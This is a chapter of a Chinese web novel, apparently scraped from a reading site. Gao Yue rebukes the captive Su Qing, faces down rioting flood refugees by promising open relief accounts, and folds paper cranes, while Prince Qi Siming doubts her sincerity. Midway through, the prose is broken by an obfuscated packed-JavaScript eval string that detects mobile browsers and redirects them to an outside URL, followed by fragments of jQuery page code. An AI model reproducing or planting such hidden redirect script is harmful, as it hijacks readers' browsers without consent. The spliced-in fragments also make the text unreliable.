默认冷灰
24号文字
方正启体

19. 一念生死劫 一语定乾坤

作者:抹茶奶绿不加糖本书字数:K更新时间:
    连日的暴雨让整个王府都浸在一片潮湿的压抑中。


    高玥端着一碗还冒着热气的安神汤,敲开了苏青的房门。


    屋内光线昏暗,苏青就坐在桌旁,眼神空洞地盯着桌上的灯芯。


    听到有人进来,他的眼睛动了动,看向高玥手中的那碗汤药。


    “进来多日阴雨,你喝了这碗安神汤,可以睡个好觉。”高玥将碗放在他面前,语气尽量柔和。


    苏青并没有直接喝药,他沉默了许久,久到高玥以为他不会有任何反应的时候,他却突然伸出手,端起了碗。


    高玥心中刚松了口气,下一秒,苏青便扬起手,将整碗药汁毫不犹豫地泼在了地上。


    “你!”那可是她不眠不休熬了整整七个时辰的药!连齐思铭都没有这种待遇!


    苏青却扯了扯嘴角,缓缓开口说道,“安神?娘娘莫不是怕我睡不着,还是怕我想起太多我不该想的事情?”


    高玥强压下怒气,冷声说道,“苏青,我们费了那么大劲把你从那里救出来,不是为了看你现在这样的。”


    “救?”苏青冷笑了一声,“从一个笼子换到另一个笼子,这也算救?”


    他抬起眼,环视了这间屋子,“我现在在这里,像一件货物一样被你们藏着,喝着你们施舍的药,你们何必惺惺作态,摆出这副救世主的嘴脸?”


    高玥深吸一口气,心头的火气反而被他这番话给浇灭,她不怒反笑。


    “救世主?”


    “你未免也太高看你自己了。你以为我们把你弄出来,是为了听你在这里上演一出怀才不遇的悲情戏码吗?”


    “难道不是吗?”苏青讥讽道,“你们不就是想把我当成一件对付上面那些人的工具?我和那笼子里的鹦鹉,又有什么区别?”


    “当然有区别!”高玥反驳道,“鹦鹉被关久了,只会学舌,忘了怎么飞。”


    “而你是一把刀,一把本该插进敌人心脏的刀。可现在,这把刀却宁愿在这里生锈,也不愿出鞘!”


    “我……”苏青一时间被怼的哑口无言。


    高玥没有给他喘息的机会,继续说道:“还有,我费心熬这碗药,不是让你安睡的,是让你清醒的。清醒地看看你自己,看看你现在这副人不人鬼不鬼的样子!”


    “你以为你是在折磨我们吗?不,你只是在折磨你自己,在践踏那些枉死之人的期望!”


    她说完,不再看他一眼,转身便走。


    “路,你自己选。”


    ……


    外面是饥肠辘辘的灾民,府内是诡异的安静。


    苏青拢了拢身上被雨水打湿的斗篷,悄悄站在远处一棵柳树的阴影下,目光穿过纷乱的人群,精准地锁定了那个身影。


    他听下人说今日齐思铭会亲自帮助修缮河堤,却没想到会是这样的一副景象。


    听说那个权倾朝野的男人如今正一身短装,和周围的士兵们一样,浑身沾满了黄泥,此时正接过一个沉甸甸的沙袋,向着堤坝上最危险的缺口稳稳走去。


    一场完美的政治作秀。


    苏青扯了扯嘴角,眼底尽是讥诮。


    不过是些沽名钓誉罢了,他早已看透。


    他的视线微微偏移,看向旁边不远处的粥棚。


    那个女人挽着袖子,妩媚的脸上如今满是泥星,但她好似浑然不觉,仍一勺一勺地将热粥盛进破旧的碗里。


    “蠢女人。”皇宫里的生活不好吗?非要跟着这种男人受罪。


    他收回目光,却瞥见一个鬼鬼祟祟的男人混进施粥的队伍里。


    “大家别喝这粥!这些人跟那些贪官是一伙的!”


    一个瘦高的男人跳上一块石头,指着指着高玥大喊:“我亲眼看见,害得咱们家破人亡的那个奸臣走狗苏青,就被他藏在府里!


    他们这是猫哭耗子假慈悲,想把我们骗到一块儿斩草除根!”


    这话如同一颗火星,瞬间爆炸了灾民心中压抑的火药。


    “什么?苏青在他府上?”


    “听说那个苏青是专门给那个狗官做假账的,此刻这些人跟他混在一起,能安的什么好心!”


    “我说呢,修什么河堤,原来是蛇鼠一窝!”


    “他们想杀人灭口!”


    高玥下意识地看向面前那个刚接过粥的孩子,在他的眼中看到了自己错愕的脸,那点刚刚升起的对食物的渴望,瞬间被更浓烈的恐惧和愤怒所取代。


    “坏女人!”


    男孩猛地将手中的粥全都倒在高玥的脸上。


    “她也是和贪官是一伙的!”


    “把他们都扔到河里去喂鱼!”


    愤怒的灾民像是刚出笼的野兽,疯狂地向着粥棚涌来。


    混乱中,高玥只觉得背后被人用尽全力狠狠一推,她脚下一个踉跄,身体完全失去了平衡,整个人不受控制地向后倒去。


    “阿玥!”


    高玥仿佛听到了有人在叫她,随即浑浊的泥浆瞬间灌满了她的口鼻,一股巨大的吸力把她向更深处拖去。


    几乎是同一时刻,一只冰冷而有力的手紧紧地抓住了她的手腕,那股力量是如此蛮横,不带一丝平日的温和与试探。


    她甚至来不及感受疼痛,整个人就被一股力量猛地往上拖拽。


    “抓住我!”高玥觉得自己好像幻听了,她竟然听出了一丝惊慌。


    这个男人也会有如此紧张的时候?但这个念头很快被打消。


    侍卫们瞬间拔刀围了上来,试图将疯狂的灾民隔开,但疯狂的灾民已经丧失了理智,如同丧尸一般向前涌来。


    齐思铭的眼神瞬间阴沉了下来,那一点残存的惊惶消失得无影无踪,取而代之的是足以将人杀死的冷意。


    “放肆!”他的声音没有丝毫起伏。


    “谁再敢闹事,格杀勿论!”


    亲卫们“唰”地抽出佩刀,对准了正在蜂拥的灾民。


    远处的苏青冷笑了一声。


    看,这就是权贵者的真面目,那层悲天悯人的面具一旦被撕下,剩下的只会血腥的镇压。


    就在他以为流血一触即发的时候,一只沾满泥污的手,轻轻按在了齐思铭即将挥下的手臂上。


    是高玥。


    她挣扎着从泥泞里撑起身体,扶着身旁一块石头稳稳地站了起来。


    她没有看向齐思铭,只是用力地抹了一把脸,然后走向灾民。


    一步,又一步。


    “王爷的愤怒,是因为我,”


    她的声音不大,却清晰地传入每个人耳中,“但我知道,各位的愤怒,不是因为我。”


    喧嚣的人群诡异地安静了下来。


    她环视众人,目光没有半分退缩:“你们的家没了,亲人散了,心里有怨,有恨,这没有错。如果我是你们,我只会比你们更愤怒,更绝望。”


    高玥指了指王府的方向,厉声说道:“刚刚那人说的没错,苏青就在府里!”


    一句话让刚刚安静下来的气氛再次被点燃,灾民议论纷纷,但谁也不敢上前。


    “但不是座上宾,而是我们揪出来的,扳倒那些贪官的人证!”


    她向前走了一步,继续说道:“你们恨贪官,我也恨!王爷更恨!


    我们费尽心力把他弄来,就是要把那些真正害你们流离失所的恶人,一个个连根拔起!”


    “口说无凭!”人群中有人喊道。


    “说得好!”


    高玥立刻应声,她的目光仿佛燃烧着火焰,“信任当然不是靠嘴说的,是靠做的!从今日起,王府所有赈灾物资账目公开!”


    她顿了顿,一字一句,掷地有声:


    “从今日起,粮食入库,你们的人一起点;开仓放粮,你们的人一起称!这粥是稠是稀,这药是真是假,这钱是花在了河堤上,还是进了谁的口袋里,你们亲自来看,亲自来查!”


    全场一片死寂。


    灾民们一时间面面相觑。


    他们从未听过这样的话,也从未见过这些高高在上的大人物,竟然会让他们这些泥腿子去查账。


    “若我今日说的有半个字是假话,便让我如同脚下的石头,分粉身碎骨!”


    远处苏青的手不自觉地收紧。


    他死死盯着那个站在泥泞中,身形单薄却仿佛有万丈光芒的女人,脑海中一片混乱。


    某个他笃信了二十多年的认知,却在此刻裂开了一道细微的缝隙。


    回到房中,高玥换上了一套干净的衣服,却毫无睡意。


    她想起了白天挣扎在天灾中的百姓,沉默了片刻,吩咐翠儿:“去取些硬纸和剪刀来。”


    齐思铭进来时,看到的就是这样一幅景象。


    高玥坐在灯下,素手翻飞,不一会便将一张张硬纸片折叠成一只只栩栩如生的小鸟。


    “这是什么?”他走过去,随意地拿起一只折好的小鸟,仔细端详起来。


    “千纸鹤。”高玥应了一声,手上的动作没有停下,“在我的家乡,每当有人发生不好的事情的时候,如果可以折满九百九十九只千纸鹤,那个人就一定会转危为安。”


    她拿起一只刚折好的千纸鹤,对着摇曳的烛光轻声说道:“我希望,这世间再无流离失所,人人皆有安身之所,人间处处海晏河清。”


    “海晏河清。”齐思铭低声重复着这四个字,像是听到了什么有趣的话一样。


    “贵妃还真是天真的可爱。”


    他将手中的千纸鹤放回桌上,看向窗外,想起了白天那些只被谣言轻轻一点,便开始躁动不安的灾民。


    “这世上从来都没有神佛,也从不靠祈愿。安稳,不过是用血与骨铺出来的路。”


    高玥手上的动作停了下来,她背对着齐思铭,脸上看不情绪。


    过了很久,她一字一句地说道,“王爷说得对,江山是靠刀剑杀出来的。”


    “可人心不是。刀剑能让人畏惧,但我希望的,是杀出一个太平盛世后,这世上所有的人,都能心有所安。这,难道不是王爷想要的吗?”


    人心……


    这两个字仿佛针尖一般刺入他内心。


    他看着她桌前那一堆所谓祈愿的千纸鹤,第一次发现,这个他一直以为可以随意摆布的棋子,身体里竟藏着一个他完全陌生的灵魂。


    他从不相信真心,正如他谋划过天下,算计过人心,却从未想过这条铺满血的路上,最终的风景是什么模样。


    许久,他才缓缓开口,声音里听不出任何情绪。


    “夜深了,休息吧。”说完,他便转身离去,仿佛只是过来此说了一句无关紧要的话。


    夜深人静,高玥亲自端着安神的汤药,推开了苏青的房门。


    苏青并未休息,正伏在案前,在一张草纸上奋笔疾书。


    听到动静,他警惕地抬起头,下意识地想将草纸收起。


    然而已经晚了,高玥瞥了一眼草纸上写的东西。


    朱门酒肉锁春光墙外枯骨寒如霜


    金樽玉盏盛民怨龙椅之上听断肠


    苍天已死黄泉闭人间何处觅家乡


    不如提剑斩蛇蟒血染山河换新章


    字迹潦草,笔锋却带着一股压抑不住的悲愤,仿佛要将那张草纸划破。


    “写的很好,”高玥将汤药放下,轻声说道,“但只说对了一半。”


    苏青眼中闪过一丝冷笑,等着她的长篇大论。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315867|182991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    高玥却根本没按他的预想出牌,而是话锋一转:“看得出你很痛恨权贵,尤其是像我与王爷这样的人。”


    还没等苏青回答,她便自顾自地说了下去:“可你想过没有,无论是权贵还是百姓,都只是在同一个规则下行事的人。


    你以为你推倒了几个权贵,其实不过是拔掉几根显眼的杂草,只要滋生杂草的土壤还在,明天,后天,它只会冒出更多的杂草来。而我们要做的是,改变土壤。”


    “改变土壤?”他咀嚼着这几个字,声音有些迷惑。


    “对。”高玥的眼神此刻亮得惊人。


    “我们要做的,是让规则去限制权利,而不是让权利成为规则。”


    改变土壤……重写规则……


    苏青像是想到了什么似的,猛然抬头看向高玥。


    “你……”那两个字呼之欲出,却又被他死死地按了回去。


    他死死地盯着高玥,脸上是一种混杂着惊骇,以及难以置信的情绪。


    他强迫自己冷静下来,紧紧握住笔,生怕自己下一秒就要捏碎。


    “你说的这些,他……都知道?”


    这个“他”,自然指的是齐思铭。


    高玥没有回答。


    这沉默,比任何回答都来的清晰。


    他一直以为,齐思铭和高玥拉拢他,只是想利用他手中的账本,作为攻击政敌的武器。


    可现在,这个女人却在他面前不是在谈论如何“复仇”,而是在探讨如何“建一座新城”。


    他心中那个紧闭多年的大门,此刻正一点一点的被打开。


    门外,一道身影静立在阴影中。


    齐思铭本是放心不下,想来看看苏青的情况,却恰好听到了高玥后半段的谈话。


    “你……”苏青刚想对高玥说“你让我想想”,眼角的余光却突然瞥见了门外的人影,他心中一动,一个念头浮了上来。


    “娘娘如此相信王爷,难道就没有想过有一日,大船靠岸,掌舵人第一个要丢下海的,或许就是娘娘您这块压舱石?”


    高玥闻言一愣,似乎被这个问题问住了。


    她认真地思索了片刻,才缓缓开口,声音里没有半分矫饰。


    “实不相瞒,哪怕是到现在,我都觉得他像一团看不透的迷雾。他的心思太深,手段太狠,常常会让人感到害怕。”


    她顿了顿,话语里却染上了一丝旁人不易察觉的柔软。


    “但相处久了,我才渐渐明白,他的每一步狠戾,每一次算计,都是在为自己踏出一条活路。


    他只是……活得太辛苦了。


    我想帮他,让他在这条路上走的不那么孤单。”


    门外,齐思铭紧握的拳头,缓缓松开。


    他转身离去,脚步无声,很快便于夜色融为一体。


    跟在身后的王友快走几步,低声说道,“王爷。”


    齐思铭没有停下脚步,只是发出了一声淡淡地“嗯”字。


    “娘娘对您可真是情深义重。”


    齐思铭的脚步倏然一顿。


    “情深义重?”他笑了一声,“王友,你何时也变得这般天真了?她不过是枚聪明的棋子,知道哪艘船能载她到对岸罢了。”


    “她有什么手段,你还不知道吗?”


    说完,他便不再理会王友,径直向前走去。


    他推开房门,目光习惯性地扫过书案,然后突然定住。


    在那一叠文书上,安静地卧着一只小小的千纸鹤。


    幼稚,天真。


    这是他长久以来的第一反应,但在指尖触碰到的那一刻,竟有了一丝细微的迟疑。


    他嘲笑她的天真,告诫自己那不过是更高明的攻心之术。


    可这只千纸鹤……


    它算什么?


    最终,他还是将那只千纸鹤拈了起来,将它轻轻放在掌心,摩挲着那清晰的折痕,许久,他才缓缓收拢五指,将那只纸鹤完整地护在了掌心之中。


    齐思铭走后,苏青刚想再说什么,却听见高玥又轻声补充了一句,那声音很低,像是在对自己说。


    “但你说‘情’……我好像,从未真正想过这种事。”


    她的语气里,带着一种纯粹理性的困惑,仿佛“情爱”这个词,本身就是一个超出她认知范畴的复杂概念。


    高玥似乎看出了苏青的不解,她看向桌上的烛火,轻声说道:“或许你会觉得奇怪。但从很久以前开始,我的脑海里就一直有一个声音。”


    “它会告诉我,什么是对的,什么是错的。它会为我规划好每一步路,告诉我达成目标的最佳途径。就像现在,它告诉我,帮助那个人,就是我必须完成的使命。”


    苏青看着眼前这个突然冷静地可怕的女人,一时间竟不知该作何反应。


    原以为她对齐思铭的付出是源于深情,或是极致的野心,却没想到,答案竟是这样。


    他沉默了许久,才缓缓开口:“那你自己呢?”


    高玥抬起头,眼中充满不解:“什么我自己?”


    “那你可曾有过那么一瞬间,你是为了自己想要去做某件事,而不是因为别人,或是某个声音告诉你,你应该这么做?”


    第二天一早,齐思铭的房门被敲响。


    王友打开门,看到门外站着的竟是苏青,不由得吃了一惊。


    他径直走了进去,却不是来说账簿的事情。


    “通源钱庄,位于淮北朱雀大街南三巷,其背后的人,是富商钱通。”


    他看着齐思铭和高玥,一字一顿地说道:“这个钱庄,掌管着整个北部超过七成的资金。这是他们的命脉,也是最难啃的一块骨头。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)